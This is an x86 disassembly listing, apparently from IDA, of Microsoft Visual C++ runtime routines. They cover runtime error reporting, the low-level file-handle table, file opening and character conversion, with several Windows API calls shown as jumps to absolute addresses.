loc_423696:				; CODE XREF: sub_4235C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C08 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_43D03C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------


loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43D03C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 2640000h
		push	eax
		nop
		call	near ptr 26F0000h


loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DCCA0


loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]


loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------


loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB


loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DCDA0
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------


loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4DCDA0, 20h
		lea	ecx, ds:4DCCA0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------


loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi


loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DCDA0
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DCCA0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43A9A4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		nop
		call	near ptr 26305BFh


loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------


loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9
		or	eax, 0FFFFFFFFh


loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DCDA0
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43A9A4, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h


loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		nop
		call	near ptr 26305BFh


loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------


loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9
		or	eax, 0FFFFFFFFh


loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCDA0
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCCA0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCDA0
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DCCA0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		call	near ptr 2630000h
		nop
		test	eax, eax
		jnz	short loc_42391D
		nop
		call	near ptr 2680F9Dh
		jmp	short loc_42391F
; ---------------------------------------------------------------------------


loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax


loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4DB95C, eax


loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4DB958, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4DCC80
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------


loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi


loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4DCC80, eax


loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4DBC78, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4DCC80, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4DBC78, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx


loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_43D0C8


loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4DBC78
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43D348
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_43D0D8


loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD


loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43D138
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4DB998, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DBB40
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------


loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------


loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4DBC50, eax
		jz	short loc_423A7E


loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h


loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4


loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4DB958, 16h
		mov	dword_4DB95C, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------


loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h


loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx


loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------


loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1


loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4DB960
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi


loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi


loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------


loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h


loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4DB95C, 0
		mov	dword_4DB958, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------


loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	near ptr 27009E9h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		nop
		call	near ptr 26307CFh
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		call	near ptr 2660868h
		nop


loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		nop
		call	near ptr 2680F9Dh
		push	eax
		call	sub_4203DF
		pop	ecx


loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------


loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------


loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8


loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DCCA0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4DB95C, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------


loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2


loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE


loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx


loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------


loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx


loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C48
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBB48
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427938
		push	esi
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------


loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CB50C
		push	esi
		push	ebx
		call	near ptr 2620836h
		nop
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax


loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4DBB48, eax


loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4DBA14


loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2620836h
		jmp	loc_423E23
; ---------------------------------------------------------------------------


loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4DBA24
		mov	[ebp+arg_10], eax


loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2810000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 2810000h
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 2620000h
		jmp	short loc_423E23
; ---------------------------------------------------------------------------


loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax


loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCDA0
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCCA0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4DBA14, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43CBE4
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DBA24
		nop
		call	near ptr 280107Dh
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1


loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4DB958, 2Ah
		or	eax, 0FFFFFFFFh


loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx


loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax


loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4DBA14, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax


loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_43C9D8
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423F64
		mov	eax, dword_43CBE4
		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DBA24
		nop
		call	near ptr 2810000h
		test	eax, eax
		mov	eax, dword_43CBE4
		jnz	short loc_423EE8


loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
		jnz	short loc_423EE8


loc_423F55:				; CODE XREF: sub_423EC3+61j
					; sub_423EC3+8Bj ...
		mov	dword_4DB958, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DBA24
		call	near ptr 2810000h
		nop
